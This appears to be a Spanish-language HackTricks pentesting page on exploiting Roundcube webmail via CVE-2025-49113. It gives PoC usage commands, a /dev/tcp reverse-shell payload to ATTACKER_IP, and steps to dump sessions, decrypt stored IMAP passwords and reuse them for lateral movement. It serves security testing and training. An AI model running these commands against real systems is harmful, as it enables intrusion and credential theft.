Roundcube
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Descripción general
Roundcube es un cliente webmail PHP comúnmente expuesto en vhosts HTTP(S) (p. ej., mail.example.tld). Indicadores útiles:
- El código fuente HTML a menudo leaks rcversion (p. ej., window.rcmail && rcmail.env.rcversion)
- Ruta por defecto de la app en containers/VMs: /var/www/html/roundcube
- Configuración principal: config/config.inc.php
Authenticated RCE via PHP object deserialization (CVE-2025-49113)
Versiones afectadas (según proveedor/NVD):
- 1.6.x antes de 1.6.11
- 1.5.x antes de 1.5.10
Resumen de la vulnerabilidad
- El parámetro _from en program/actions/settings/upload.php no se valida, lo que permite la inyección de datos controlados por el atacante que Roundcube posteriormente unserializes, llevando a gadget chain execution y remote code execution en el contexto web (post‑auth).
Explotación rápida
- Requisitos: credenciales válidas de Roundcube y una UI URL alcanzable (p. ej., http://mail.target.tld)
- Hay un PoC público que automatiza session handling, gadget crafting y el flujo de upload
git clone https://github.com/hakaioffsec/CVE-2025-49113-exploit.git
php CVE-2025-49113.php http://mail.target.tld USER PASS CMD
# examples
php CVE-2025-49113.php http://mail.target.tld user 'pass' "id"
# blind timing proof
time php CVE-2025-49113.php http://mail.target.tld user 'pass' "sleep 5"
# reverse shell
nc -nvlp 443
php CVE-2025-49113.php http://mail.target.tld user 'pass' \
"bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"
Notas
- La salida suele ser ciega; usa sleep N para validar RCE
- La shell resultante normalmente se ejecuta como www-data; en despliegues containerizados espera /.dockerenv y la red 172.17.0.0/16
Post‑exploitation: recuperar contraseñas IMAP de sesiones de Roundcube
Roundcube almacena la contraseña IMAP del usuario actual en la sesión (database) cifrada con la clave 3DES del lado del servidor configurada en config.inc.php. Con acceso al filesystem o a la DB en el host de Roundcube puedes recuperar contraseñas en texto plano y pivotar a otros buzones/servicios (SSH reuse is common).
- Read DB DSN and 3DES key from config
config/config.inc.php typically contains:
$config['db_dsnw'] = 'mysql://roundcube:DB_PASS@localhost/roundcube';
$config['des_key'] = 'rcmail-!24ByteDESkey*Str'; // 24‑byte key (3DES)
- Conectar a DB y volcar sesiones
mysql -u roundcube -p roundcube
# or: mysql -u roundcube -pDB_PASS roundcube
mysql> SELECT id, created, changed, vars FROM session\G
El campo session.vars es un blob Base64 producido por Roundcube’s encrypt(): Base64( IV || 3DES-CBC(plaintext) ). Los primeros 8 bytes tras Base64‑decoding son el IV.
- Localizar el campo password
Una forma rápida de localizar la credencial dentro de la estructura descifrada es primero Base64‑decodificar el campo vars y examinar visualmente las entradas serializadas:
echo 'BASE64_FROM_VARS' | base64 -d | tr ';' '\n' | grep -i password
- Descifrar usando el helper de Roundcube
Roundcube incluye una CLI que utiliza la misma lógica rcmail->decrypt() y la des_key configurada:
cd /var/www/html/roundcube
./bin/decrypt.sh CIPHERTEXT_BASE64
# -> prints plaintext
- Desencriptación manual 3DES-CBC (opcional)
- Formato del ciphertext: Base64( IV(8B) || CT )
- Alg: 3DES-CBC, longitud de clave 24B, PKCS#7 padding
from base64 import b64decode
iv_ct = b64decode('hcVCSNXOYgUXvhArn1a1OHJtDck+CFME')
iv, ct = iv_ct[:8], iv_ct[8:]
print(iv.hex(), ct.hex())
# decrypt(ct) with key = $config['des_key'], IV = iv
Ubicaciones comunes
- Tabla DB: session (la tabla users asigna nombres de inicio de sesión a IDs)
- Ruta de configuración: /var/www/html/roundcube/config/config.inc.php
Uso operativo
- Las filas más antiguas de session a menudo contienen las contraseñas IMAP de usuarios anteriores; decrypt múltiples entradas para moverte lateralmente a otros buzones
- Prueba las credenciales recuperadas contra SSH u otros servicios si se sospecha reutilización de credenciales
Referencias
- Roundcube security updates 1.6.11 and 1.5.10
- CVE-2025-49113 – NVD
- FearsOff research notes on Roundcube deserialization/RCE
- hakaioffsec/CVE-2025-49113-exploit (PoC)
- Roundcube bin/decrypt.sh helper
- HTB Outbound – 0xdf write‑up (Roundcube 1.6.10 → RCE → session decrypt pivot)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
HackTricks

